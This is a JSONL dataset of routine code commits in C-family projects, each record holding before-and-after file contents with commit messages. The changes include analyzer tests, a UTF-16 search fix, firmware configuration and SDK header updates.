{"commit":"9a1a3f47cc175cb4588451e2c6bf2147407e16f0","old_file":"test\/Analysis\/null-deref-path-notes.c","new_file":"test\/Analysis\/null-deref-path-notes.c","old_contents":"\/\/ RUN: %clang_analyze_cc1 -w -x c -analyzer-checker=core -analyzer-output=text -verify %s\n\n\/\/ Avoid the crash when finding the expression for tracking the origins\n\/\/ of the null pointer for path notes. Apparently, not much actual tracking\n\/\/ needs to be done in this example.\nvoid pr34373() {\n  int *a = 0; \/\/ expected-note{{'a' initialized to a null pointer value}}\n  (a + 0)[0]; \/\/ expected-warning{{Array access results in a null pointer dereference}}\n              \/\/ expected-note@-1{{Array access results in a null pointer dereference}}\n}\n","new_contents":"\/\/ RUN: %clang_analyze_cc1 -w -x c -analyzer-checker=core -analyzer-output=text -verify %s\n\n\/\/ Avoid the crash when finding the expression for tracking the origins\n\/\/ of the null pointer for path notes.\nvoid pr34373() {\n  int *a = 0; \/\/ expected-note{{'a' initialized to a null pointer value}}\n  (a + 0)[0]; \/\/ expected-warning{{Array access results in a null pointer dereference}}\n              \/\/ expected-note@-1{{Array access results in a null pointer dereference}}\n}\n","subject":"Fix an outdated comment in a test. NFC.","message":"[analyzer] Fix an outdated comment in a test. NFC.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@314298 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"8bc349742bc3c97da5bb88d382bc0860f7eb3399","old_file":"SearchEngine\/UnicodeUtf16StringSearcher.h","new_file":"SearchEngine\/UnicodeUtf16StringSearcher.h","old_contents":"#pragma once\n\nclass UnicodeUtf16StringSearcher\n{\nprivate:\n\tconst wchar_t* m_Pattern;\n\tuint32_t m_PatternLength;\n\npublic:\n\tUnicodeUtf16StringSearcher() :\n\t\tm_Pattern(nullptr)\n\t{\n\t}\n\n\tvoid Initialize(const wchar_t* pattern, size_t patternLength)\n\t{\n\t\tif (patternLength > std::numeric_limits<uint32_t>::max() \/ 2)\n\t\t\t__fastfail(1);\n\n\t\tm_Pattern = pattern;\n\t\tm_PatternLength = static_cast<uint32_t>(patternLength);\n\t}\n\n\ttemplate <typename TextIterator>\n\tbool HasSubstring(TextIterator textBegin, TextIterator textEnd)\n\t{\n\t\twhile (textEnd - textBegin >= m_PatternLength)\n\t\t{\n\t\t\tauto comparisonResult = CompareStringEx(LOCALE_NAME_SYSTEM_DEFAULT, NORM_IGNORECASE, textBegin, static_cast<int>(textEnd - textBegin), m_Pattern, static_cast<int>(m_PatternLength), nullptr, nullptr, 0);\n\t\t\tif (comparisonResult == CSTR_EQUAL)\n\t\t\t\treturn true;\n\n\t\t\ttextBegin++;\n\t\t}\n\n\t\treturn false;\n\t}\n};","new_contents":"#pragma once\n\nclass UnicodeUtf16StringSearcher\n{\nprivate:\n\tconst wchar_t* m_Pattern;\n\tuint32_t m_PatternLength;\n\npublic:\n\tUnicodeUtf16StringSearcher() :\n\t\tm_Pattern(nullptr)\n\t{\n\t}\n\n\tvoid Initialize(const wchar_t* pattern, size_t patternLength)\n\t{\n\t\tif (patternLength > std::numeric_limits<uint32_t>::max() \/ 2)\n\t\t\t__fastfail(1);\n\n\t\tm_Pattern = pattern;\n\t\tm_PatternLength = static_cast<uint32_t>(patternLength);\n\t}\n\n\ttemplate <typename TextIterator>\n\tbool HasSubstring(TextIterator textBegin, TextIterator textEnd)\n\t{\n\t\twhile (textEnd - textBegin >= m_PatternLength)\n\t\t{\n\t\t\tauto comparisonResult = CompareStringEx(LOCALE_NAME_SYSTEM_DEFAULT, NORM_IGNORECASE, textBegin, static_cast<int>(m_PatternLength), m_Pattern, static_cast<int>(m_PatternLength), nullptr, nullptr, 0);\n\t\t\tif (comparisonResult == CSTR_EQUAL)\n\t\t\t\treturn true;\n\n\t\t\ttextBegin++;\n\t\t}\n\n\t\treturn false;\n\t}\n};","subject":"Fix case insensitive UTF16 string search.","message":"Fix case insensitive UTF16 string search.\n","lang":"C","license":"mit","repos":"TautvydasZilys\/FileSystemSearch,TautvydasZilys\/FileSystemSearch,TautvydasZilys\/FileSystemSearch"}
{"commit":"ada0b227c20f2ee303c5f9c7bec59f2c252dc9a2","old_file":"src\/Charmap.h","new_file":"src\/Charmap.h","old_contents":"","new_contents":"#ifndef CHARMAP_H\n#define CHARMAP_H\n\n#include <unordered_map>\n\nclass Charmap {\n    public:\n        void cfToAscii();\n        void asciiToCf();\n\n    private:\n        std::unordered_map<uint8_t, uint8_t> map;\n};\n\n#endif\n","subject":"Add character mapper stub class","message":"Add character mapper stub class\n","lang":"C","license":"mit","repos":"malensek\/cryctl,malensek\/cryctl"}
{"commit":"1b37acc75816e0c079aebbb3473bfee5762829bb","old_file":"tests\/regression\/13-privatized\/22-traces-paper.c","new_file":"tests\/regression\/13-privatized\/22-traces-paper.c","old_contents":"","new_contents":"\/\/ PARAM: --enable ana.int.interval --sets exp.solver.td3.side_widen cycle_self\n#include <pthread.h>\n#include <assert.h>\n\nint g = 6;\npthread_mutex_t A = PTHREAD_MUTEX_INITIALIZER;\npthread_mutex_t B = PTHREAD_MUTEX_INITIALIZER;\n\nvoid *t_fun(void *arg) {\n  int x = 1;\n  pthread_mutex_lock(&A);\n  assert(g == 6);\n  assert(x == 1);\n  g = 5;\n  assert(g == 5);\n  assert(x == 1);\n  pthread_mutex_lock(&B);\n  assert(g == 5);\n  assert(x == 1);\n  pthread_mutex_unlock(&B);\n  assert(g == 5);\n  assert(x == 1);\n  x = g;\n  assert(x == 5);\n  g = x + 1;\n  assert(g == 6);\n  pthread_mutex_unlock(&A);\n  assert(x == 5);\n  return NULL;\n}\n\nint main(void) {\n  pthread_t id;\n  assert(g == 6);\n  pthread_create(&id, NULL, t_fun, NULL);\n  assert(5 <= g);\n  assert(g <= 6);\n  pthread_join(id, NULL);\n  return 0;\n}\n","subject":"Add example from traces paper","message":"Add example from traces paper\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"1c242f3f29c36dc6cc5d8233d51c5e4c18be079b","old_file":"src\/QGCConfig.h","new_file":"src\/QGCConfig.h","old_contents":"#ifndef QGC_CONFIGURATION_H\n#define QGC_CONFIGURATION_H\n\n#include <QString>\n\n\/** @brief Polling interval in ms *\/\n#define SERIAL_POLL_INTERVAL 4\n\n\/** @brief Heartbeat emission rate, in Hertz (times per second) *\/\n#define MAVLINK_HEARTBEAT_DEFAULT_RATE 1\n#define WITH_TEXT_TO_SPEECH 1\n\n\/\/ If you need to make an incompatible changes to stored settings, bump this version number\n\/\/ up by 1. This will caused store settings to be cleared on next boot.\n#define QGC_SETTINGS_VERSION 4\n\n#define QGC_APPLICATION_NAME \"QGroundControl\"\n#define QGC_ORG_NAME \"QGroundControl.org\"\n#define QGC_ORG_DOMAIN \"org.qgroundcontrol\"\n\n#define QGC_APPLICATION_VERSION_MAJOR 2\n#define QGC_APPLICATION_VERSION_MINOR 3\n\n\/\/ The following #definess can be overriden from the command line so that automated build systems can\n\/\/ add additional build identification.\n\n\/\/ Only comes from command line\n\/\/#define QGC_APPLICATION_VERSION_COMMIT \"...\"\n\n#ifndef QGC_APPLICATION_VERSION_BUILDNUMBER\n#define QGC_APPLICATION_VERSION_BUILDNUMBER 0\n#endif\n\n#ifndef QGC_APPLICATION_VERSION_BUILDTYPE\n#define QGC_APPLICATION_VERSION_BUILDTYPE \"(Developer Build)\"\n#endif\n\n#endif \/\/ QGC_CONFIGURATION_H\n","new_contents":"#ifndef QGC_CONFIGURATION_H\n#define QGC_CONFIGURATION_H\n\n#include <QString>\n\n\/** @brief Polling interval in ms *\/\n#define SERIAL_POLL_INTERVAL 4\n\n\/** @brief Heartbeat emission rate, in Hertz (times per second) *\/\n#define MAVLINK_HEARTBEAT_DEFAULT_RATE 1\n#define WITH_TEXT_TO_SPEECH 1\n\n\/\/ If you need to make an incompatible changes to stored settings, bump this version number\n\/\/ up by 1. This will caused store settings to be cleared on next boot.\n#define QGC_SETTINGS_VERSION 4\n\n#define QGC_APPLICATION_NAME \"QGroundControl\"\n#define QGC_ORG_NAME \"QGroundControl.org\"\n#define QGC_ORG_DOMAIN \"org.qgroundcontrol\"\n\n#define QGC_APPLICATION_VERSION_MAJOR 2\n#define QGC_APPLICATION_VERSION_MINOR 3\n\n\/\/ The following #definess can be overriden from the command line so that automated build systems can\n\/\/ add additional build identification.\n\n\/\/ Only comes from command line\n\/\/#define QGC_APPLICATION_VERSION_COMMIT \"...\"\n\n#ifndef QGC_APPLICATION_VERSION_BUILDNUMBER\n#define QGC_APPLICATION_VERSION_BUILDNUMBER 0\n#endif\n\n#ifndef QGC_APPLICATION_VERSION_BUILDTYPE\n#define QGC_APPLICATION_VERSION_BUILDTYPE \"(Stable)\"\n#endif\n\n#endif \/\/ QGC_CONFIGURATION_H\n","subject":"Switch to Stable V2.3 Release Candidates","message":"Switch to Stable V2.3 Release Candidates\n","lang":"C","license":"agpl-3.0","repos":"RedoXyde\/PX4_qGCS,fizzaly\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,greenoaktree\/qgroundcontrol,Hunter522\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,hejunbok\/qgroundcontrol,catch-twenty-two\/qgroundcontrol,remspoor\/qgroundcontrol,UAVenture\/qgroundcontrol,caoxiongkun\/qgroundcontrol,devbharat\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,scott-eddy\/qgroundcontrol,TheIronBorn\/qgroundcontrol,BMP-TECH\/qgroundcontrol,TheIronBorn\/qgroundcontrol,LIKAIMO\/qgroundcontrol,remspoor\/qgroundcontrol,fizzaly\/qgroundcontrol,RedoXyde\/PX4_qGCS,devbharat\/qgroundcontrol,catch-twenty-two\/qgroundcontrol,catch-twenty-two\/qgroundcontrol,caoxiongkun\/qgroundcontrol,dagoodma\/qgroundcontrol,remspoor\/qgroundcontrol,dagoodma\/qgroundcontrol,iidioter\/qgroundcontrol,scott-eddy\/qgroundcontrol,dagoodma\/qgroundcontrol,Hunter522\/qgroundcontrol,nado1688\/qgroundcontrol,cfelipesouza\/qgroundcontrol,dagoodma\/qgroundcontrol,LIKAIMO\/qgroundcontrol,scott-eddy\/qgroundcontrol,hejunbok\/qgroundcontrol,greenoaktree\/qgroundcontrol,jy723\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,mihadyuk\/qgroundcontrol,ethz-asl\/qgc_asl,Hunter522\/qgroundcontrol,iidioter\/qgroundcontrol,mihadyuk\/qgroundcontrol,LIKAIMO\/qgroundcontrol,kd0aij\/qgroundcontrol,greenoaktree\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,kd0aij\/qgroundcontrol,TheIronBorn\/qgroundcontrol,nado1688\/qgroundcontrol,Hunter522\/qgroundcontrol,BMP-TECH\/qgroundcontrol,devbharat\/qgroundcontrol,RedoXyde\/PX4_qGCS,cfelipesouza\/qgroundcontrol,dagoodma\/qgroundcontrol,fizzaly\/qgroundcontrol,jy723\/qgroundcontrol,devbharat\/qgroundcontrol,UAVenture\/qgroundcontrol,UAVenture\/qgroundcontrol,caoxiongkun\/qgroundcontrol,scott-eddy\/qgroundcontrol,RedoXyde\/PX4_qGCS,fizzaly\/qgroundcontrol,dagoodma\/qgroundcontrol,mihadyuk\/qgroundcontrol,cfelipesouza\/qgroundcontrol,catch-twenty-two\/qgroundcontrol,jy723\/qgroundcontrol,TheIronBorn\/qgroundcontrol,nado1688\/qgroundcontrol,RedoXyde\/PX4_qGCS,iidioter\/qgroundcontrol,iidioter\/qgroundcontrol,remspoor\/qgroundcontrol,hejunbok\/qgroundcontrol,mihadyuk\/qgroundcontrol,scott-eddy\/qgroundcontrol,BMP-TECH\/qgroundcontrol,Hunter522\/qgroundcontrol,jy723\/qgroundcontrol,iidioter\/qgroundcontrol,BMP-TECH\/qgroundcontrol,kd0aij\/qgroundcontrol,nado1688\/qgroundcontrol,ethz-asl\/qgc_asl,devbharat\/qgroundcontrol,LIKAIMO\/qgroundcontrol,remspoor\/qgroundcontrol,UAVenture\/qgroundcontrol,fizzaly\/qgroundcontrol,UAVenture\/qgroundcontrol,iidioter\/qgroundcontrol,caoxiongkun\/qgroundcontrol,nado1688\/qgroundcontrol,jy723\/qgroundcontrol,caoxiongkun\/qgroundcontrol,greenoaktree\/qgroundcontrol,BMP-TECH\/qgroundcontrol,cfelipesouza\/qgroundcontrol,LIKAIMO\/qgroundcontrol,greenoaktree\/qgroundcontrol,RedoXyde\/PX4_qGCS,kd0aij\/qgroundcontrol,fizzaly\/qgroundcontrol,catch-twenty-two\/qgroundcontrol,ethz-asl\/qgc_asl,TheIronBorn\/qgroundcontrol,cfelipesouza\/qgroundcontrol,remspoor\/qgroundcontrol,scott-eddy\/qgroundcontrol,ethz-asl\/qgc_asl,hejunbok\/qgroundcontrol,CornerOfSkyline\/qgroundcontrol,TheIronBorn\/qgroundcontrol,mihadyuk\/qgroundcontrol,Hunter522\/qgroundcontrol,catch-twenty-two\/qgroundcontrol,kd0aij\/qgroundcontrol,LIKAIMO\/qgroundcontrol,jy723\/qgroundcontrol,UAVenture\/qgroundcontrol,BMP-TECH\/qgroundcontrol,greenoaktree\/qgroundcontrol,caoxiongkun\/qgroundcontrol,hejunbok\/qgroundcontrol,hejunbok\/qgroundcontrol,mihadyuk\/qgroundcontrol,ethz-asl\/qgc_asl,nado1688\/qgroundcontrol,kd0aij\/qgroundcontrol,cfelipesouza\/qgroundcontrol,devbharat\/qgroundcontrol"}
{"commit":"3310df62860d762d150833524c9bc5dc3126dbee","old_file":"src\/logging.c","new_file":"src\/logging.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <syslog.h>\n#include <unistd.h>\n#include <string.h>\n#include <errno.h>\n#include <US\/unitscript.h>\n#include <US\/logging.h>\n\n\nint us_syslog_redirect( struct us_unitscript* unit, int priority ){\n\n  int fds[2];\n\n  if( pipe(fds) ){\n    perror(\"pipe failed\");\n    return -1;\n  }\n\n  int ret = fork();\n  if( ret == -1 ){\n    perror(\"fork failed\\n\");\n    close(fds[0]);\n    close(fds[1]);\n    return -1;\n  }\n  if( ret ){\n    close(fds[0]);\n    return fds[1];\n  }\n  close(fds[1]);\n\n  const char* file = strrchr(unit->file,'\/');\n  if(!file){\n    file = unit->file;\n  }else{\n    file++;\n  }\n  openlog(file,0,LOG_DAEMON);\n\n  do {\n    char msg[1024*4];\n    size_t i = 0;\n    while( i<sizeof(msg)-1 && ( ( (ret=read(fds[0],msg+i,1)) == -1 && errno == EAGAIN ) || ( ret==1 && msg[i] != '\\n' ) ) )\n      i++;\n    msg[i] = 0;\n    if(i) syslog( priority, \"%s\", msg );\n  } while(ret);\n\n  us_free(unit);\n  exit(0);\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <syslog.h>\n#include <unistd.h>\n#include <string.h>\n#include <errno.h>\n#include <US\/unitscript.h>\n#include <US\/logging.h>\n\n\nint us_syslog_redirect( struct us_unitscript* unit, int priority ){\n  int fds[2];\n\n  if( pipe(fds) ){\n    perror(\"pipe failed\");\n    return -1;\n  }\n\n  int ret = fork();\n  if( ret == -1 ){\n    perror(\"fork failed\\n\");\n    close(fds[0]);\n    close(fds[1]);\n    return -1;\n  }\n  if( ret ){\n    close(fds[0]);\n    return fds[1];\n  }\n  close(fds[1]);\n\n  const char* file = strrchr(unit->file,'\/');\n  if(!file){\n    file = unit->file;\n  }else{\n    file++;\n  }\n  openlog(file,0,LOG_DAEMON);\n  us_free(unit);\n\n  do {\n    char msg[1024*4];\n    size_t i = 0;\n    while( i<sizeof(msg)-1 && ( ( (ret=read(fds[0],msg+i,1)) == -1 && errno == EAGAIN ) || ( ret==1 && msg[i] != '\\n' ) ) )\n      i++;\n    msg[i] = 0;\n    if(i) syslog( priority, \"%s\", msg );\n  } while(ret);\n\n  exit(0);\n}\n","subject":"Reduce memory usage of us_syslog_redirect","message":"Reduce memory usage of us_syslog_redirect\n","lang":"C","license":"mit","repos":"Daniel-Abrecht\/unitscript"}
{"commit":"b94f14c84c567c1c0433bba0e4f12d0d4771b718","old_file":"extensions\/protocol_extension.h","new_file":"extensions\/protocol_extension.h","old_contents":"\/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n#ifndef EXAMPLE_PROTOCOL_H\n#define EXAMPLE_PROTOCOL_H\n\n#include <daemon\/settings.h>\n#include <memcached\/engine.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n    MEMCACHED_PUBLIC_API\n    EXTENSION_ERROR_CODE memcached_extensions_initialize(const char *config,\n                                                         GET_SERVER_API get_server_api);\n#ifdef __cplusplus\n}\n\nMEMCACHED_PUBLIC_API\nEXTENSION_ERROR_CODE file_logger_initialize(const LoggerConfig& config,\n                                            GET_SERVER_API get_server_api);\n\n#endif\n\n#endif\n","new_contents":"\/* -*- Mode: C; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n#ifndef EXAMPLE_PROTOCOL_H\n#define EXAMPLE_PROTOCOL_H\n\n#include <daemon\/settings.h>\n#include <memcached\/engine.h>\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n    MEMCACHED_PUBLIC_API\n    EXTENSION_ERROR_CODE memcached_extensions_initialize(const char *config,\n                                                         GET_SERVER_API get_server_api);\n    MEMCACHED_PUBLIC_API\n    EXTENSION_ERROR_CODE file_logger_initialize(const LoggerConfig& config,\n                                                GET_SERVER_API get_server_api);\n#ifdef __cplusplus\n}\n\n#endif\n\n#endif\n","subject":"Fix dlsym error 'Could not find symbol \"file_logger_initialize\"'","message":"Fix dlsym error 'Could not find symbol \"file_logger_initialize\"'\n\nWrap file_logger_initialize into extern \"C\" to prevent name mangling,\nwhich caused the error above.\n\nChange-Id: I8c8e1e61599f2afb6dedf4e0b71c0a5a013ccbb7\nReviewed-on: http:\/\/review.couchbase.org\/86829\nTested-by: Build Bot <80754af91bfb6d1073585b046fe0a474ce868509@couchbase.com>\nReviewed-by: Dave Rigby <a09264da4832c7ff1d3bf1608a19f4b870f93750@couchbase.com>\n","lang":"C","license":"bsd-3-clause","repos":"daverigby\/kv_engine,daverigby\/kv_engine,daverigby\/kv_engine,daverigby\/kv_engine"}
{"commit":"f87946732ab9e2e9be8e90793ca0c5939f9a939e","old_file":"source\/target\/freescale\/kl82z\/target.c","new_file":"source\/target\/freescale\/kl82z\/target.c","old_contents":"\/**\n * @file    target.c\n * @brief   Target information for the kl46z\n *\n * DAPLink Interface Firmware\n * Copyright (c) 2009-2016, ARM Limited, All Rights Reserved\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n * not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"target_config.h\"\n\n\/\/ The file flash_blob.c must only be included in target.c\n#include \"flash_blob.c\"\n\n\/\/ target information\ntarget_cfg_t target_device = {\n    .sector_size    = 1024,\n    .sector_cnt     = (KB(96) \/ 1024),\n    .flash_start    = 0,\n    .flash_end      = KB(128),\n    .ram_start      = 0x1FFFA000,\n    .ram_end        = 0x2002000,\n    .flash_algo     = (program_target_t *) &flash,\n};\n","new_contents":"\/**\n * @file    target.c\n * @brief   Target information for the kl46z\n *\n * DAPLink Interface Firmware\n * Copyright (c) 2009-2016, ARM Limited, All Rights Reserved\n * SPDX-License-Identifier: Apache-2.0\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n * not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"target_config.h\"\n\n\/\/ The file flash_blob.c must only be included in target.c\n#include \"flash_blob.c\"\n\n\/\/ target information\ntarget_cfg_t target_device = {\n    .sector_size    = 1024,\n    .sector_cnt     = (KB(96) \/ 1024),\n    .flash_start    = 0,\n    .flash_end      = KB(128),\n    .ram_start      = 0x1FFFA000,\n    .ram_end        = 0x20012000,\n    .flash_algo     = (program_target_t *) &flash,\n};\n","subject":"Fix ram end for kl82z","message":"Fix ram end for kl82z\n\nFix typo in target_device for the kl82z. This fixes programming\nfor this device.\n","lang":"C","license":"apache-2.0","repos":"google\/DAPLink-port,google\/DAPLink-port,sg-\/DAPLink,google\/DAPLink-port,sg-\/DAPLink,sg-\/DAPLink,google\/DAPLink-port"}
{"commit":"ac0afc8c605ab6039b1a5c25f2b7105f7e5456f5","old_file":"test\/Preprocessor\/headermap-rel2.c","new_file":"test\/Preprocessor\/headermap-rel2.c","old_contents":"\/\/ This uses a headermap with this entry:\n\/\/   someheader.h -> Product\/someheader.h\n\n\/\/ RUN: %clang_cc1 -v -fsyntax-only %s -iquote %S\/Inputs\/headermap-rel2\/project-headers.hmap -isysroot %S\/Inputs\/headermap-rel2\/system -I %S\/Inputs\/headermap-rel2 -H\n\/\/ RUN: %clang_cc1 -fsyntax-only %s -iquote %S\/Inputs\/headermap-rel2\/project-headers.hmap -isysroot %S\/Inputs\/headermap-rel2\/system -I %S\/Inputs\/headermap-rel2 -H 2> %t.out\n\/\/ RUN: FileCheck %s -input-file %t.out\n\n\/\/ CHECK: Product\/someheader.h\n\/\/ CHECK: system\/usr\/include\/someheader.h\n\/\/ CHECK: system\/usr\/include\/someheader.h\n\n#include \"someheader.h\"\n#include <someheader.h>\n#include <someheader.h>\n","new_contents":"\/\/ This uses a headermap with this entry:\n\/\/   someheader.h -> Product\/someheader.h\n\n\/\/ RUN: %clang_cc1 -triple x86_64-apple-darwin13 -v -fsyntax-only %s -iquote %S\/Inputs\/headermap-rel2\/project-headers.hmap -isysroot %S\/Inputs\/headermap-rel2\/system -I %S\/Inputs\/headermap-rel2 -H\n\/\/ RUN: %clang_cc1 -triple x86_64-apple-darwin13 -fsyntax-only %s -iquote %S\/Inputs\/headermap-rel2\/project-headers.hmap -isysroot %S\/Inputs\/headermap-rel2\/system -I %S\/Inputs\/headermap-rel2 -H 2> %t.out\n\/\/ RUN: FileCheck %s -input-file %t.out\n\n\/\/ CHECK: Product\/someheader.h\n\/\/ CHECK: system\/usr\/include\/someheader.h\n\/\/ CHECK: system\/usr\/include\/someheader.h\n\n#include \"someheader.h\"\n#include <someheader.h>\n#include <someheader.h>\n","subject":"Add a triple to the test.","message":"[test] Add a triple to the test.\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@205073 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang"}
{"commit":"c2d3e92d424bb2084050589c9e7e1214bbb565b5","old_file":"test\/wasm\/soft\/float\/extenddftf2.c","new_file":"test\/wasm\/soft\/float\/extenddftf2.c","old_contents":"","new_contents":"#include \"src\/math\/reinterpret.h\"\n#include <math.h>\n#include <stdint.h>\n#include <assert.h>\n\ndouble __trunctfdf2(long double);\n\nstatic _Bool run(double x)\n{\n    return reinterpret(uint64_t, x) == reinterpret(uint64_t, __trunctfdf2(x));\n}\n\nint main(void)\n{\n    const uint64_t step = 0x00000034CBF126F8;\n\n    assert(run(INFINITY));\n    assert(run(-INFINITY));\n\n    for (uint64_t i = 0; i < 0x7FF0000000000000; i += step) {\n        double x = reinterpret(double, i);\n        assert(run(x));\n        assert(run(-x));\n    }\n\n    for (uint64_t i = 0x7FF0000000000001; i < 0x8000000000000000; i += step) {\n        double x = reinterpret(double, i);\n        assert(isnan(__trunctfdf2(x)));\n        assert(isnan(__trunctfdf2(-x)));\n    }\n}\n","subject":"Test double -> long double","message":"Test double -> long double\n","lang":"C","license":"mit","repos":"jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic,jdh8\/metallic"}
{"commit":"9785f6c7f58c21a10221aee23657cca4aa4ff883","old_file":"MatrixSDK\/Crypto\/SecretStorage\/MXSecretStorage_Private.h","new_file":"MatrixSDK\/Crypto\/SecretStorage\/MXSecretStorage_Private.h","old_contents":"\/*\n Copyright 2020 The Matrix.org Foundation C.I.C\n \n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n \n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n \n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n *\/\n\n#import \"MXSecretStorage.h\"\n\n@class MXSession;\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface MXSecretStorage ()\n\n\/**\n Constructor.\n \n @param mxSession the related 'MXSession' instance.\n *\/\n- (instancetype)initWithMatrixSession:(MXSession *)mxSession  processingQueue:(dispatch_queue_t)processingQueue;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","new_contents":"\/*\n Copyright 2020 The Matrix.org Foundation C.I.C\n \n Licensed under the Apache License, Version 2.0 (the \"License\");\n you may not use this file except in compliance with the License.\n You may obtain a copy of the License at\n \n http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n \n Unless required by applicable law or agreed to in writing, software\n distributed under the License is distributed on an \"AS IS\" BASIS,\n WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n See the License for the specific language governing permissions and\n limitations under the License.\n *\/\n\n#import \"MXSecretStorage.h\"\n\n@class MXSession;\n@class MXEncryptedSecretContent;\n\nNS_ASSUME_NONNULL_BEGIN\n\n@interface MXSecretStorage ()\n\n\/**\n Constructor.\n \n @param mxSession the related 'MXSession' instance.\n *\/\n- (instancetype)initWithMatrixSession:(MXSession *)mxSession  processingQueue:(dispatch_queue_t)processingQueue;\n\n- (nullable MXEncryptedSecretContent *)encryptedZeroStringWithPrivateKey:(NSData*)privateKey iv:(nullable NSData*)iv error:(NSError**)error;\n\n- (nullable MXEncryptedSecretContent *)encryptSecret:(NSString*)unpaddedBase64Secret withSecretId:(nullable NSString*)secretId privateKey:(NSData*)privateKey iv:(nullable NSData*)iv error:(NSError**)error;\n\n- (nullable NSString *)decryptSecretWithSecretId:(NSString*)secretId\n                                   secretContent:(MXEncryptedSecretContent*)secretContent\n                                  withPrivateKey:(NSData*)privateKey\n                                           error:(NSError**)error;\n\n@end\n\nNS_ASSUME_NONNULL_END\n","subject":"Make aes-hmac-sha2 encryption methods from `MXSecretStorage` available in SDK","message":"Make aes-hmac-sha2 encryption methods from `MXSecretStorage` available in SDK\n\n","lang":"C","license":"apache-2.0","repos":"matrix-org\/matrix-ios-sdk,matrix-org\/matrix-ios-sdk,matrix-org\/matrix-ios-sdk,matrix-org\/matrix-ios-sdk,matrix-org\/matrix-ios-sdk"}
{"commit":"dc95f76e50db1a65d39630c854ebe40620fe9f00","old_file":"You-DataStore\/datastore.h","new_file":"You-DataStore\/datastore.h","old_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <memory>\n#include \"task_typedefs.h\"\n#include \"transaction.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests {}\n\nclass DataStore {\npublic:\n\tTransaction && begin();\n\n\tstatic DataStore& get();\n\n\t\/\/ Modifying methods\n\tvoid post(TaskId, SerializedTask&);\n\tvoid put(TaskId, SerializedTask&);\n\tvoid erase(TaskId);\n\n\tstd::vector<SerializedTask> getAllTask();\n\nprivate:\n\tbool isServing = false;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","new_contents":"#pragma once\n#ifndef YOU_DATASTORE_DATASTORE_H_\n#define YOU_DATASTORE_DATASTORE_H_\n\n#include <memory>\n#include \"task_typedefs.h\"\n#include \"transaction.h\"\n\nnamespace You {\nnamespace DataStore {\nnamespace UnitTests {}\n\nclass DataStore {\npublic:\n\tTransaction && begin();\n\n\tstatic DataStore& get();\n\n\t\/\/ Modifying methods\n\tvoid post(TaskId, SerializedTask&);\n\tvoid put(TaskId, SerializedTask&);\n\tvoid erase(TaskId);\n\n\tstd::vector<SerializedTask> getAllTask();\n\nprivate:\n\tbool isServing = false;\n\tstd::unique_ptr<Transaction> activeTransaction;\n};\n}  \/\/ namespace DataStore\n}  \/\/ namespace You\n#endif  \/\/ YOU_DATASTORE_DATASTORE_H_\n","subject":"Add active transaction member variable to DataStore","message":"Add active transaction member variable to DataStore\n","lang":"C","license":"mit","repos":"cs2103aug2014-w10-1c\/main,cs2103aug2014-w10-1c\/main"}
